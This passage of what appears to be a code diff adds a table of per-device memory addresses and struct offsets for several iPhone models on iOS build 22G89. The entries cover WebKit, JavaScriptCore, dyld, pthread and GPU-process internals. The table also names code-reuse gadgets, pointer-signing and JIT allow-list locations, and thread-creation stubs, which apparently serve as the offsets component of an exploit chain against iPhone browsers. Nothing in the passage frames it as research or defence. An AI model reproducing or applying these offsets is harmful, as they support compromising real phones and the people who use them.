GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25797be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f24000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone15,5_22G89": { + __pthread_head : 0x26983c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25797be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f24000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone16,1_22G89": { + __pthread_head : 0x26a720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25812fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e34000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone16,2_22G89": { + __pthread_head : 0x26a720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25812fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e34000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,1_22G89": { + __pthread_head : 0x269ff8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a0fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2726f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,2_22G89": { + __pthread_head : 0x269ff8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, 